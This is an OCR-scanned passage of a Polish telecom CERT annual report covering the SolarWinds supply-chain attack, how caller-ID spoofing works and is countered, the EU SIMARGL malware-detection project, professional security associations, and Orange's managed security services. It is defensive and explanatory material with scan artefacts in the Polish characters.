oraz Teardrop. Drugi natomiast wykorzystuje podatnosci
w zewnetrznym interfejsie i instalacji webshella
(malware Supernova) oraz skrypty Powershell (malware
Cosmicgale).

2021

Opisany powyzej scenariusz to zaawansowany atak
klasy APT, ktory prawdopodobnie trwa od kilku miesiecy.
W zwiazku z tym skala infiltracji i obecnosci przeciwnika
w infrastrukturze ofiary nie jest znana. Dlatego

do analizy trzeba podej$¢ zgodnie z najlepszymi
praktykami. W powyzszych dziataniach, trzeba mie¢
$wiadomosé, ze adwersarz jest jednym z najbardziej
zaawansowanych i nie jest w petni rozpoznany jego
potencjat, a petna odbudowa jest najrozsgdniejszym
dziataniem, by mie¢ pewnos$¢ utworzenia bezpiecznego
$rodowiska.

Cyberatak za posrednictwem taiicucha dostaw, juz od kilku
lat jest wskazywany jako jeden z wazniejszych wektorow.
Wykorzystywanie stabosci w mniejszych organizacjach oraz
niskiej jakosci procesy bezpiecznego wytwarzania opro-
gramowania SSDLC (Security Software Development

Cyberatak

za posrednictwem
fancucha dostaw,

juz od kilku lat jest
wskazywany jako jeden

z wazniejszych wektorow.
Wykorzystywanie
stabosci w mniejszych
organizacjach oraz niskiej
jakosci procesy
bezpiecznego wytwarzania
oprogramowania SSDLC
(Security Software
Development Life

Cycle) stanowia droge

do celu dla
cyberprzestepcow.

Life Cycle) stanowig droge do celu dla cyberprzestepcow.
Incydent SolarWinds nie powinien nikogo zaskakiwac,
gdyz potwierdza dotychczasowe predykcje,
niespodziewana jednakze jest jego skala i cele, jakie
osiagnat. Obecnie kazda organizacja, w ktérej powaznie
traktuje sie cyberbezpieczenstwo, musi inaczej spojrze¢
na dostawcoéw swoich ustug oraz oprogramowania.

Ninigjsze opracowanie powstafto z wykorzystaniem
materiatdw analitycznych dotyczacych incydentu
przygotowanych przez Cybersecurity and Infrastructure
Security Agency (CISA), firmy SolarWinds, FireEye
oraz Sentinel.

Ireneusz Tarnowski

Ekspert w Zespole Analiz i Reagowania na Cyberzagrozenia
w Santander Bank Polska

Pozostate informacje o autorze mozna znalez¢ w jego ko-
mentarzu na stronie 69.
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Jak dochodzi do spoofing’u
numerow telefonicznych i czy
mozna temu przeciwdziatac?

Co to jest CLI spoofing?

CLI (Caller ID) spoofing polega na prezentowaniu odbiorcy
potaczenia gtosowego fatszywego numeru telefonicznego
osoby dzwonigce;j.

Jak dochodzi do CLI spoofingu?

dzwonigca i jest on mozliwy wtedy, gdy operator
pozwala klientowi podtgczonemu za pomoca centralki
telefonicznej do jego centrali, na prezentacje innym
numerem niz przydzielony (nawet spoza numeracji
operatora) i kieruje te potgczenia w $wiat.

Mniej prawdopodobna, aczkolwiek rowniez mozliwa,
jest tez modyfikacja numeru przez osobe dzwonigca
poprzez przetamanie zabezpieczen operatora na
protokole SIP lub SS7. Poprzez atak SS7 mozna

np. zmodyfikowa¢ profil abonenta w centrali wizytowanej
tak, zeby abonent wykonujgc potgczenia prezentowat
sie zmodyfikowanym numerem.

Modyfikacji numeru dzwonigcego moze tez dokonac
operator, ktéry tranzytuje potaczenie.

Dlaczego CLI spoofing jest stosowany?

CLI spoofing stosowany jest przez osoby
dzwonigce, aby:

B oszuka¢ zabezpieczenia uwierzytelniajgce osobe
dzwonigca wytacznie na podstawie CLI (jesli takie
sg jeszcze stosowane) i uzyskacé nielegalnie dostep
np. do konta Voice Mail ofiary,

B zwiekszy¢ skutecznos¢ VISHINGU — odpowiedni
numer prezentujgcy sie osobie odbierajgcej potgczenie
pomaga przekonac ja, ze jest ono inicjowane
np. przez pracownika banku czy firmowego
helpdesku i zwieksza szanse oszustwa polegajacego
na naktonieniu rozméwcy do przekazania poufnych
informaciji, zainstalowaniu zto$liwego oprogramowania
czy tez wejsciu na fatszywg strone WWW utworzong
w celu wytudzenia danych logowania i haset
jednorazowych,

m  zwiekszy¢ prawdopodobienstwo odebrania potgczenia
od telemarketera (w tym przypadku firma realizujgca
telemarketing zamiast prezentowac sie swoim
numerem, ktéry moze by¢ juz znany i niechetnie
odbierany robi to losowo wybranym numerem).

CLI spoofing stosowany jest tez przez operatoréow

tranzytujgcych potgczenia celem maksymalizacji zysku.
Np. operatorzy w Unii Europejskiej pobieraja nizsze
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optaty za potaczenia terminowane do ich sieci z krajéw
UE niz za potfaczenia spoza Unii. Dlatego zdarza sie,

ze nieuczciwi operatorzy tranzytujgcy ruch podmieniajg
»hieunijny” numer na ,,unijny”.

Czy zjawisku CLI spoofingu
mozna przeciwdziatac?

Aby wyeliminowa¢ CLI spoofing, kazdy operator
telekomunikacyjny powinien systemowo pilnowac¢
prawidfowej prezentacji numeru swoich klientéw,

a numery nie powinny by¢ podmieniane po drodze.

Pojedynczy operator ma bardzo ograniczone mozliwosci
walki z CLI spoofingiem, poniewaz ma kontrole tylko

nad swojg siecig. Poza pilnowaniem, zeby samemu nie
by¢ zrédtem CLI spoofing’u, teoretycznie jest go w stanie
wykrywac, ale jedynie dla potaczen do wtasnych
abonentéw przebywajgcych w jego sieci i prezentujacych
sie nalezgcym do niego numerem. Podejrzane potfaczenia
operator moze blokowac¢ lub wymuszaé dla nich brak
prezentacji numeru. Te mozliwosci ochrony bazujg

na zatozeniu, ze potaczenia prezentujgce sie numerami
danego operatora inicjowane sg z jego sieci i nie

przychodzg do niej z zewnatrz. W praktyce jednak zdarzajg

sie wyjatki od tej reguty, ktdre znacznie komplikuja
wdrozenie takiego mechanizmu ochrony:

B numery mobilne moga by¢ w roamingu i potaczenia
od nich moga wtedy przychodzié z zagranicy,

m  pofgczenia wychodzgce poza sie¢ moga zostac
przekierowane i wrdci¢ do sieci operatora z innej sieci
prezentujgc sie numerem nalezagcym do jego sieci,

® numery stacjonarne i mobilne moga by¢ przenoszone
do innej sieci (a stacjonarne dodatkowo dzierzawione),
wiec weryfikacja czy numer nalezy do operatora nie
moze polegac wytacznie na analizie prefiksu.
Wymaga dodatkowo weryfikacji z aktualng bazag
numerdw przeniesionych (oraz dzierzawionych).

Dodatkowo, od jakiego$ czasu np. Skype oferuje

ustuge potgczen gtosowych kierowanych poza platforme
do sieci telekomunikacyjnej z prezentacjg numeru
komorkowego jej uzytkownika. Posiada on dostep

do konkretnego numeru komérkowego, co weryfikuje
Skype poprzez wystanie mu jednorazowego kodu

za pomocg SMS na numer komoérkowy. Kod ten
uzytkownik podaje w aplikaciji. To rozwigzanie ma
stabos¢ polegajaca na tym, ze aplikacja Skype po takim
skonfigurowaniu bedzie uzywaé numer komérkowy
rowniez wtedy, gdy zmieni sie jego wtasciciel - pod
warunkiem, ze bedzie miata zapewniony dostep do
internetu, a nowy uzytkownik numeru nie zarejestruje

go w aplikacji. Pomijajgc te stabosé, dla uzytkownika
Skype takie wykorzystanie numeru nie wydaje sie by¢ CLI
spoofingiem, gdyz w wiekszosci przypadkdw korzystajac
ze Skype’a prezentuje sie on tym samym numerem,

co korzystajac z podstawowej aplikacji TELEFON na tym
samym terminalu. Z techniczno-sieciowego punktu
widzenia operatora telekomunikacyjnego jest to jednak
nie do odréznienia od klasycznego CLI spoofingu.
Skype inicjuje potaczenia do sieci telekomunikacyjnej

z kraju A uzywajgc numeracji, ktéra nie nalezy

do niego a do operatora telekomunikacyjnego

w kraju B. Jesli operator bedzie chciat podja¢ trudna
walke z CLI spoofingiem, takie potgczenia bedg musiaty
by¢ blokowane lub przynajmniej pozbawione
prezentacji numeru.

Przyktadem krajowej strategii walki z CLI spoofingiem

jest wdrazany obecnie w Stanach Zjednoczonych

standard STIR/SHAKEN, ktéry bazuje na weryfikaciji CLI

u Zrodta i bezpiecznym przekazaniu tej informacji dalej
wraz z potagczeniem. STIR (Secure Telephony Identity
Revisited) zapewnia mozliwo$¢ uwierzytelniania
identyfikatora dzwonigcego w ramach SIP poprzez
dodanie do nagtéwka SIP certyfikatu podpisanego
kluczem prywatnym operatora, u ktérego potgczenie jest
inicjowane (po weryfikacji przez operatora, ze jest to numer

przydzielony klientowi, ktéry inicjuje potgczenie).
SHAKEN (Signature-based Handling of Asserted
information using toKENSs) definiuje architekture typu
end-to-end do implementacji uwierzytelniania CLI

za pomoca STIR w sieci telefonicznej. Podejscie

to przyniesie jednak wymierne efekty, gdy znakomita
wiekszo$¢ potaczen (przynajmniej dla numeracji
krajowej) bedzie miata zweryfikowane CLI. Tylko wtedy
odbiorca zwrdci uwage na fakt, ze przychodzace

do niego potagczenie z numeracji krajowej wyjatkowo
ma niezweryfikowane CLI co oznacza, ze moze

by¢ fatszywe. Docelowo mozna sobie wyobrazi¢
blokowanie potaczen z niezweryfikowanym CLI.

Do tego czasu wdrozenie tego modelu musi by¢
naprawde powszechne.

Piotr Szarata
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SIMARGL - szybsze wykrywanie
szkodliwego oprogramowania

W maju 2019 roku Orange Polska znalazt

sie w gronie kilkunastu partneréw z Europy

w projekcie SIMARGL, ktéry podjat sie
opracowania narzedzi do bardziej
skutecznego wykrywania cyberatakéw

Z wykorzystaniem ztosliwego oprogramowania
oraz atakéw skutkujacych otwieraniem
ukrytych kanatéw komunikacyjnych, przez
ktore moga by¢ wykradane informacje.

SIMARGL (Secure Intelligent Methods
for Advanced Recognition of Malware and

Uzytkownicy

koncowi

v

Poszczegodlne elementy pierwszej fazy ataku.

v

Wymagania
i przypadki
uzycia
(use-cases)

4

Wstepna
architektura
SIMARGL Toolkit

4

Koncowa
architektura
SIMARGL

Stegomalware) jest wspoétfinansowany przez

Komisje Europejska w ramach programu
»Horyzont 2020” (SU-ICT-01-2018). A
W konsorcjum uczestniczy 14 firm

z 7 krajéw Unii Europejskiej a projekt
ma trwaé do kwietnia 2022 roku.

W jego sktad wchodzg jednostki
badawcze oraz naukowe specjalizujgce
sie w cyberbezpieczenstwie, firmy
produkujace rozwigzania
cyberbezpieczenstwa oraz tzw. uzytkownicy koncowi,

czyli firmy dla ktérych odpieranie cyberatakéw jest ,,chlebem
powszednim”, a poszukiwanie nowych metod ich detekcji
nieustanng potrzebg. Koordynaciji catosci dziatan w projekcie
podjat sie FernUniversitdt w Hagen w Niemczech.

Partnerzy
techniczni i ich

rozwiazania

Gtéwnym celem projektu jest dostarczenie nowych,
efektywnych metod przeciwdziatania cyberatakom oraz
cyberprzestepstwom. Wiele obecnych narzedzi potrafi
wykrywaé ztosliwe oprogramowanie (malware), ale z roku
na rok w cyberatakach wykorzystywane sg coraz bardziej
zaawansowane techniki np. stosujgce steganografie

do ukrywania przesytanych tresci, w tym ztosliwego kodu
(stegomalware), w pozornie bezpiecznych plikach np.
obrazach BMP lub PNG (1).

Projekt SIMARGL podjat sie zdefiniowania, wdrozenia

i sprawdzenia efektywnosci innowacyjnych metod
wykrywania malware (w tym stegomalware),

ransomware (ztosliwego oprogramowania, ktérego dziatanie
skutkuje zaszyfrowaniem danych na zainfekowane;j stacji

i wyswietleniem zadania okupu za przestanie klucza
deszyfrujgcego) oraz anomalii sieciowych, ktére moga
pomédc w wykryciu cyberatakéw. W pracach badawczych
wykorzystywane sg zarébwno popularne techniki analizy
statystycznej i korelacyjnej jak i nowoczesne metody uczenia
maszynowego (machine learning — ML) oraz tzw. gtebokiego
uczenia (deep learning — DL)(2).

W ciggu pierwszych miesiecy projektu zostaty opisane

i przeanalizowane istniejgce metody i rozwigzania do detekcji
malware. Przeanalizowane zostaty réwniez kwestie rodzajow
cyberzagrozen oraz typéw cyberprzestepcow, motywdw

ich dziatan oraz dostepnych $rodkéw i narzedzi.
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Analiza stanu

wiedz Analiza
i istniei gch rzetelnosci
Jacyc i zrozumiatosci
rozwiazan

Wymagania do projektu oraz przypadki uzycia (Use Cases),
ktorymi projekt sie zajmuje pochodzity od uzytkownikéw
koncowych, partneréw technicznych oraz wynikaty

z przeprowadzonej analizy stanu wiedzy i wykorzystywanych
na rynku rozwigzan.

Przy projektowaniu architektury uwzgledniono narzedzia,
ktére sg juz w posiadaniu cztonkéw konsorcjum.
Wprowadzono zatozenia funkcjonalne i technologiczne,
ktore pozwolity na efektywne zintegrowanie tych narzedzi
ze sobg w celu realizacji zdefiniowanych use-caséw :

m  warstwowe podejcie do architektury rozwigzania,

B wykorzystanie Docker Swarm do orkiestracji kontenerdw,

m  Apache Kafka jako szyna danych dla wymiany zdarzery/
komunikatéw pomiedzy narzedziami,

H  skorzystanie z réznych dodatkowych rozwigzan
do wsparcia mozliwosci obliczeniowych przy
algorytmach uczenia maszynowego (np. Keras,
Tensorflow, Apache Spark, etc.),

m  realizacja obliczeniowej warstwy ustugowej na mikroser-
wisach,

m adaptacja ustugi zarzgdzania tozsamoscig Keycloak
w celu ufatwienia zarzgdzania bezpieczenstwem
i kontrola dostepu w modelu RBAC,

m  wykorzystanie ELK (Elasticsearch + Logstash + Kibana)
do przechowywania i analizy logdéw oraz wizualizaciji
wynikéw.

Ponizszy rysunek przedstawia ogdélng, modutowa budowe
architektury SIMARGL ze zZrédtami zdarzen (kontenerami
rozwigzan partneréw technologicznych, logami z sond
monitorujacych, etc.) przesytanymi do zaawansowane;j
analizy przez narzedzia SIMARGL oparte na algorytmach

Logotyp projektu SIMARGLI

SIMARGL

sztucznej inteligencji Al i uczenia maszynowego ML. Projekt
dostarcza rowniez narzedzie do wizualizacji wynikdw analizy
dla operatoréw np. w centrach operacji bezpieczenstwa
SOC, ktérzy podejmuja decyzje o dalszych dziataniach.

Narzedzia budowane przez projekt SIMARGL w oparciu
0 wypracowane przez projekt, innowacyjne metody,
obejmujg dwa obszary zastosowan u uzytkownikow
koncowych:

m identyfikacje ruchu sieciowego (zbieranie i parsowanie
danych oraz analiza ruchu),

m detekcje ztosliwego oprogramowania (malware),
stegomalware, anomalii w zachowaniu analizowanych
plikéw oraz wizualizacjg wynikéw dla analizowanych
danych.

Dotgczenie do analizy stegomalware wynika z do$wiadczen
ostatnich lat, podczas ktérych w cyberatakach systematy-
cznie wzrastato wykorzystanie metod steganograficznych

oraz innych technik ukrywania informaciji do przesytania
Zlodliwego oprogramowania. Wiele komercyjnych rynkowych
rozwigzan AV nie radzi sobie z wykrywaniem ztosliwego kodu
ukrytego w cyfrowych obrazach.

Na rysunku ponizej przedstawione zostato

schematyczne powigzanie testow dla czesci przypadkdéw
uzycia zdefiniowanych w projekcie, w zaleznosci narzedzi
cyberbezpieczenstwa posiadanych przez SIMARGL.
Kazde z tych narzedzi daje mozliwo$¢ prowadzenia
testow na réznych rodzajach danych i przy wykorzystaniu
réznych zaawansowanych metod analitycznych,

co pozwala na realne usprawnienie wykrywania réznego
rodzaju ztosliwego oprogramowania. Do badan w projekcie
beda réwniez wykorzystywane zbiory benchmarkowe
opracowane przez inne projekty europejskie np. zbiér
LITNET-2020(3) z projektu Sparta, ktory posiada przyktady
normalnego ruchu ze swiatowych sieci akademickich

oraz ruchu generowanego dla 12 réznych typdéw
cyberatakéw.

Ogolne, modutowe przedstawienie architektury SIMARGL

— } I Kontener Thales I —_—

— } I Kontener Pluribus I —
S } I Kontener Orion I — }

SIMARGL GUI/ Al & ML

h 4

} I Rezultaty I

v

— } I Logi z sensorow I —
— } I Inne I —

Operator

Raportowanie
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Schematyczne przedstawienie testow przypadkow uzycia w zaleznosci od narzedzi wykorzystywanych w SIMARGL
(Punch Platform firmy Thales, Orion Malware firmy Airbus Cybersecurity, Attack Prophecy oraz AlSafe DNS firmy

Pluribus One i BDE Engine z polskiej firmy ITTI).

DANE

Przyktadowe pliki
malware NARZEDZIA
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malware finansowy 4 Punch Platform

=

Przyktadowy ruch

sieciowy — I Orion Malware
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Powyzej, schematycznie przedstawione zostaty testy przy- Literatura:

padkéw uzycia w zaleznos$ci od narzedzi wykorzystywanych

w SIMARGL (Punch Platform firmy Thales, Orion Malware 1.
firmy Airbus Cybersecurity, Attack Prophecy oraz AlSafe

DNS firmy Pluribus One i BDE Engine z polskiegj firmy ITTI).

Wyniki testow kazdego z use-case’6w w projekcie beda
zwizualizowane na dashboardzie opracowanym przez

SIMARGL, na ktérym operatorzy SOC/CERT beda mogli 2.
prawie w czasie rzeczywistym obserwowac wykryte

anomalie, podejrzane pliki oraz inne cyberzagrozenia.

Dla analitykow cyberbezpieczenstwa bede dostepne

rowniez przegladowe zestawienia za zadany okres.

W ramach prac projektowych SIMARGL zobowigzat 3.
sie rowniez do wsparcia Europejskiego Centrum

ds. Cyberprzestepczosci (EC3), dziatajgcego w ramach
EUROPOL, w przeprowadzeniu szkolen dla réznych organéw
$cigania z krajéw EU w zakresie wykrywania steganografii

i innych technik ukrywania informacji do przesytania malware
oraz przekazywania wykradanych informacji.

A

Aby by¢ na biezgco z pracami projektowymi SIMARGL
warto odwiedza¢ strone internetowa projektu (simargl.

eu) oraz sledzi¢ informacje publikowane w mediach
spotecznosciowych na Instagramie, LinkedIn, Facebooku
oraz Twitterze(4). Eksperci pracujacy w projekcie SIMARGL
opublikowali juz ponad 20 artykutéw w specjalistycznych
czasopismach i materiatach konferencyjnych. Znaczna

ich cze$¢ bedzie udostepniona publicznie w ciggu

6 miesiecy od czasu publikaciji.

Adrian Marzecki (Orange Polska),
Michat Choras (FernUniversitét)
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Puchalski, D., Caviglione, L., Kozik, R., Marzecki, A.,
Krawczyk, S., & Choras, M. (2020, August).
Stegomalware detection through structural analysis
of media files. In Proceedings of the 15th International
Conference on Availability, Reliability and Security
(op. 1-6).

M. Choras, M. Pawlicki , D. Puchalski, R. Kozik,
Machine Learning — the results are not the only thing
that matters! What about security, explainability

and fairness?, in Proc of ICCS 2020, Computational
Science 2020, LNCS 12140, Springer, June 2020
(Core A).

LITNET-2020 Dataset for Network Intrusion Detection:
https://www.sparta.eu/papers/litnet-2020-an-annotated-
real-world-network-flow-dataset-for-network-
intrusion.html

Komunikacja projektu SIMARGL:

strona internetowa: simargl.eu

Instagram: https://www.instagram.com/simargl_eu/
LinkedIn: https://www.linkedin.com/groups/12241333/
Facebook: https://www.facebook.com/simargl.eu/
Twitter: https://twitter.com/simarg|8
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Dlaczego sie stowarzyszamy?

Istnieje wiele przestanek, Swiadczacych o tym,

jak istotna rola w naszym zyciu jest przynaleznosc

do grupy. Juz w potowie ubiegtego wieku Abraham
Maslow stworzyt model hierarchii potrzeb cztowieka,
niezbednych do funkcjonowania. W formie piramidy
opisat 5 podstawowych, koniecznych do spetnienia
pragnien ludzkich, z ktérych wykluczenie jednego
elementu z podwalin odbiera mozliwo$¢ wspiecia

sie wyzej. Te potrzeby to (w kolejnosci od najwazniejszych)
fizjologiczne, bezpieczenstwa, przynaleznosci,

uznania oraz samorealizaciji. | chociaz dzisiaj model ten
jest unowoczesniany, niezmiennie ogromna role gra
potrzeba przynaleznosci - czyli wszelkich mozliwych
koligacji spotecznych. Spetnienie w tym obszarze przynosi
nie tylko rodzina czy przyjaciele, ale takze przynaleznosé
do organizacji, stowarzyszen - grup spotecznych,

w ktorych czujemy sie rozumiani i szanowani.

Stowarzyszamy sie, poniewaz grupa daje nam poczucie
bezpieczenstwa. Zyskujemy sie¢ kontaktow z ludzmi
zajmujacych sie tematami pokrewnymi do naszych
zainteresowan, myslacymi lub dziatajgcymi w zblizony
sposoéb. Wybdr stowarzyszenia powinien by¢ adekwatny
do popieranych zasad i metod dziatania, zwigzany

z rzeczami, ktére robimy lub chcielibysmy robié.
Organizacje powinny dawaé¢ mozliwo$é wymiany
doswiadczen, a takze konfrontowania pogladow

i wiedzy w przyjaznej atmosferze. Dzieki cztonkom
stowarzyszenia mozemy bardziej aktywnie szukac
rozwigzan dla dziedzinowych probleméw, jednoczesnie
dajgc aktywnym osobom szanse na znalezienie ciekawych
wyzwan. Wszystkie te dziatania pomagaja w podnoszeniu
kwalifikacji nie tylko z zakresu cyberbezpieczenstwa,

ale takze przywddztwa i odpowiedzialnosci spoteczne;.
Szukajgcy uznania, zrozumienia i szacunku — wszystko

to znajdg w spotecznosci, w uznaniu zastug przez grupe.
Dodatkowo uczestnictwo w licznych aktywnosciach
buduje poczucie elitarnosci, ktore rowniez jest nam
bardzo potrzebne do zycia i rozwoju. Mamy mozliwos¢
by¢ na biezgco z najnowszymi doniesieniami branzowymi,
rozwija¢ sie zawodowo i prywatnie, zdobywac potrzebnag
wiedze, a takze utrzymywac branzowe certyfikaty.

Dzieki stowarzyszeniom mozemy poznawaé nowe
produkty i aktualne trendy oraz eksplorowac dziedzinowe
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zrédta wiedzy. Zyskujemy przestrzen do podnoszenia
kwalifikacji, ale przede wszystkim pole do bezinteresownej
wymiany pogladéw, rozwigzywania probleméw

czy udoskonalania naszych produktéw. A to tylko
wierzchotek géry korzysci z cztonkostwa

w stowarzyszeniach czy organizacjach.

Czemu zatem sie zrzeszamy? Bo dziatajac w pojedynke
trudniej osiagnaé cele, mimo czesto ogromnego wysitku.
W grupie zyskujemy cos$ co nas wyrdznia - site i potege
wsparcia zespotu wspotcztonkdw organizacii.

Jezeli nadal zastanawiasz sie czy warto sie zrzeszac,
odpowiedz jest prosta — warto! Korzysci ptyngce

Z zrzeszania sie, pomoga spetni¢ potowe z piramidy
potrzeb. To nie wszystko. Zrzeszajgc sie zyskujemy
cos$ bezcennego, czyli szacunek, nowe przyjaznie,
otoczenie ludzi, ktérzy mimo wielu réznic mysla

o cyberbezpieczenstwie tak, jak Ty. | to jest

w tym najpiekniejsze.

Zarzad ISSA Polska

Komentarz Partnera:

Przemystaw Gamdzyk

Meeting Designer oraz prezes Evention. Codziennie
pochtania go rozwdj biznesu. Z pasja tworzy
koncepcje nowych spotkan i ich formatéw. Buduje
agendy konferencji, spinajac razem ciekawych
prelegentéw i warto$ciowy kontent. Od 20 lat jest
zwigzany z rynkiem teleinformatycznym w Polsce.
Zrealizowat w sumie kilkaset projektow wydawniczych
i eventowych. Przez wiele lat zwiazany z Computerworid,
ClO w wydawnictwie IDG. Byt dziennikarzem,
redaktorem, szefem dziatu eventow, dyrektorem
programoéw dla kadry kierowniczej. Za podstawowa
wartos¢ i fundament swojej dziatalnos$ci traktowat
tworzenie efektywnych obszarow porozumienia

w biznesie — wyrazonych w pi$mie, w online czy

w formie fizycznych spotkan. Absolwent wydziatu
Matematyki, Informatyki i Mechaniki Uniwersytetu
Warszawskiego oraz studiow podyplomowych
Komunikacji Spotecznej IBL PAN.

Dla dobra catej branzy

Duch kooperaciji dla dobra spotecznego nie jest czyms,
co mieliby$my dane z natury. Jednak bardzo tego
potrzebujemy - jako spoteczenstwo, jako spotecznosci
czy grupy lokalne i zawodowe.

Dotyczy to wielu dziedzin i obszardw, ale takze aktywnosci
czysto zawodowych - co dobrze wida¢ chociazby

na przyktadzie samego cyberbezpieczenstwa (w koncu
jestedmy w raporcie CERT Orange Polska!). Wspéine
dziatanie na rzecz catej branzy cyberbezpieczenstwa,
poza perspektywa wtasnej kariery czy organizacji, jest
czyms$, czego ogromnie potrzeba i czego beneficjentami
moga by¢ wszyscy.

Organizacje zawodowe, ktére dziatajg w obszarze
cyberbezpieczenstwa, wykonujg znakomitg prace,
ale przeciez wciaz liczba ich cztonkdéw jest absolutnie
niewspoétmierna do liczebnosci catego srodowiska.
Ciagle standardem u nas nie jest ,,nalezenie”.

Raport CERT Orange Polska 2020

Kazdy, kto kiedykolwiek prébowat budowaé

stowarzyszenie czy inng formalng organizacje,

dobrze wie, ze nie jest to tatwe zadanie. Powstajg

jednak inicjatywy niemajgce zadnej osobowosci

prawnej, bedace w istocie siecia relacji i grup
zainteresowan. Zaréwno w formalnie, jak i nieformalnie
powstatych organizacjach musza by¢ ci, ktdrzy poswiecajg
swoj czas i sity. Korzysta na tym cata branza i wszyscy,
ktorzy sie z nig utozsamiaja.

Cennym uzupetnieniem dla tych formalnych

i nieformalnych form organizacji $rodowiska,

sg inicjatywy, w ktérych ich twércom udaje sie pogodzic¢
zdrowy model biznesowy ze stuzbg na rzecz branzy,
gdzie oba te elementy funkcjonuja w pewnej symbiozie

i zapewniajg odpowiedni poziom profesjonalizmu.
Dobrym przyktadem moze by¢ tu zapewne CSO
Council — spotecznos$é dyrektoréw bezpieczenstwa
informacji — powotana juz 5 lat temu przez ISSA Polska

i Evention, aktywnie dziatajgca i gromadzgca ponad

200 szeféw obszaru cyberbezpieczenstwa z najwiekszych
w Polsce przedsiebiorstw i instytucji. Dziatalno$é

CSO Council wspiera grono partneréw - firm z branzy
cyberbezpieczenstwa - za$ jej program merytoryczny
pomaga budowaé Rada CSO Council. W swojej
aktywnosci CSO Council jest nastawione przede
wszystkim na integracje i rozwdj Srodowiska

— wspierajgc dialog i wymiane doswiadczen.

Wigcej informacji o dziatalnosci CSO Council mozna
znalez¢ pod adresem: www.csoc.pl.
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Ustugi bezpieczenstwa Orange Polska

Nowa ustuga SOC lite

Monitorowanie zdarzen z zakresu bezpieczenstwa ma
to do siebie, ze jest pracochtonne. Nawet bardzo
pracochtonne. Konieczno$¢ analizowania dziesigtek,
setek a nawet tysiecy zdarzen pod katem tego czy te
zarejestrowane dotycza rzeczywistego ataku, czy tez
kolejny fatszywy incydent, jest zmorg wielu osdb
zajmujacych sie cyberbezpieczenstwem.

Gdy organizacja juz jest na tyle dojrzata, ze wie,

ze zdarzenia naprawde trzeba logowaé i monitorowac,
a nie jest to wytacznie ,,egzotycznym” wymaganiem
prawnym, pojawia sie wiec to typowe - operacyjne
wyzwanie.

Wyzwanie, ktéorym postanowiliSmy sie zaja¢. Rozwigzanie
SOC lite, ktére przygotowali$my w Orange Polska jest
niejako naktadka na sprzedawane przez nas ustugi takie
jak np. Orange Network Security (ONS). Charakteryzuja
sie one duzg doktadnoscig w identyfikowaniu tego,

co jest podejrzane. Potrafig jednak tym samym generowac
znaczna ilo$¢ powiadomien, sposréd ktérych trudno

jest niekiedy klientom wytapacé te incydenty, na ktére
trzeba bezzwlocznie zareagowaé. Robimy to wiec

w ich imieniu. Analizujemy setki zdarzen, a w tych
pojedynczych przypadkach, gdy nie mamy watpliwosci,
ze pojawit sie incydent, klient bezzwtocznie dostaje

od nas czytelne powiadomienie z rekomendacja

co nalezy zrobié¢. Jest to wiec przedstawiciel
raczkujgcego dopiero rodzaju ustug bezpieczenstwa,
ktore charakteryzuja sie bardzo duzg pewnoscia,
okreslanego jako ,high fidelity alerts”.

Tym samym administratorzy klienta, ktérzy odpowiadaja
za ochrone infrastruktury wcigz - niezmiennie

powinni analizowaé¢ otrzymywane zdarzenia dotyczace
bezpieczenstwa. Jednak dzieki naszej ustudze moga
sobie pozwoli¢ na pewien komfort spokojniejszej pracy.
Wiedza, ze gdy pojawi sie co$ niezmiernie istotnego

- gdy tylko uda nam sie wykry¢ faktyczny incydent,

taka informacja zostanie im przekazana bezzwtocznie.
Tym samym bezzwtocznie bedg mogli zmieni¢ priorytety
prac i zareagowac. Zniknie ryzyko, ze podczas mozolnej
analizy innych zdarzen ten ,oczywisty” incydent bedzie
musiat zbyt dtugo czeka¢ na adekwatna reakcje.

Aby stworzyé ustuge potaczyliSmy i rozwineli§my

rézne rozwigzania, z ktérych na co dzien korzystamy.
ZaczeliSmy od wyboru gtéwnego Zrodta generujgcego
zdarzenia. Na pierwszy ogien wybraliémy urzadzenia
Fortigate, ktére z sukcesem chronig setki naszych
klientéw biznesowych. Nastepnie dokonali$my starannej
analizy scenariuszy atakow, ktére mozemy wykryé
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przy ich pomocy oraz zastanowiliSmy sie jak mozemy

zwiekszy¢ swéj poziom zaufania dla danego powiadomienia.

Z pomocag przyszty tu réznego rodzaju ustugi reputacyjne,

a takze nasze wtasne dane, zdobywane przez zespoét

CERT OPL. Wszystko to nastepnie zautomatyzowalismy

w ramach przygotowanego w naszym zespole rozwigzania
klasy SOAR (piszemy o nim na stronie 82). W koncu zostato
juz tylko przygotowanie czytelnych powiadomien dla
klientéw i uruchomienie ustugi.

Oparcie sie na wtasnym SOAR umozliwia nam
elastycznos$¢ prac. Juz teraz rozwijamy kolejne funkcje
SOC lite, mozemy w dowolny sposéb doskonali¢
scenariusze, dodawac kolejne bazy reputacyjne.
Pozwolito to nam réwniez wyeliminowac potrzebe
wykorzystywania rozwigzania klasy SIEM, co miato
zdecydowany wptyw na koszty ustugi. Organizacje,

w ktorych rejestrowane i analizowane sg tysigce a nawet
dziesiatki tysiecy zdarzen na sekunde (EPS - events
per second), zachecamydo skorzystania z naszej ustugi
Next Generation SOC (SOC/SIEM/SOAR) - tam
zapewnione bedg tez zaawansowane mozliwosci
korelacji zdarzen ptynacych z réznych rozwigzan.
Jednak wszystkie mniejsze podmioty, ktére chca
monitorowac bezpieczenstwo swojej sieci, ktorym
zalezy na szybkim uruchomieniu ustugi oraz

na zdecydowanie mniejszych kosztach, serdecznie
zapraszamy do skorzystania z ustugi SOC lite.

Jakub Syta

Zabezpiecz
SwWoj biznes

Edukuj pracownikow i chron dane firmowe

Praca zdalna - monitoruj wykorzystanie komputeréw stuzbowych w godzinach
pracy oraz zabezpiecz dostep do danych i informaciji firmowych

Testy socjotechniczne - buduj $wiadomosé

Cyber Pakiet - stworz bezpieczng organizacje

Zadbaj o bezpieczenstwo informaciji, aplikacji i urza

EDR - zwigksz ochrone przed zlosliwym oprogramowaniem
MDM - bezpiecznie zarzgdzaj urzadzeniami firmowymi
Cisco Umbrella - zapewnij bezpieczeristwo w prosty sposéb

Cisco Duo - stosuj ztozone uwierzytelnianie

dzen

Chron przetwarzane dane w chmurze

Cloud Security - bezpiecznie zarzadzaj Srodowiskiem hybrydowym

WAP (Web Application Protection) - zabezpiecz swoje aplikacje
oraz strony internetowe

Wzmocnij bezpieczenstwo

swojego biznesu

SOC/
SOAR/SIEM

Automatyzuj i reaguj na incydenty
bezpieczenstwa w ramach ustugi
Next Generation SOC

SOC Lite

Zweryfikuj bezpieczenstwo
infrastruktury

Aby skorzystac z oferty, skontaktuj sie z doradca Orange lub napisz na adres: cybsec

urity@orange.com.
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Next Generation SOC

Pracujgc w Orange w zespole odpowiedzialnym

za ustugi cyberbezpieczenstwa czesto rozmawiam
z klientami na temat ich oczekiwan od zespotu
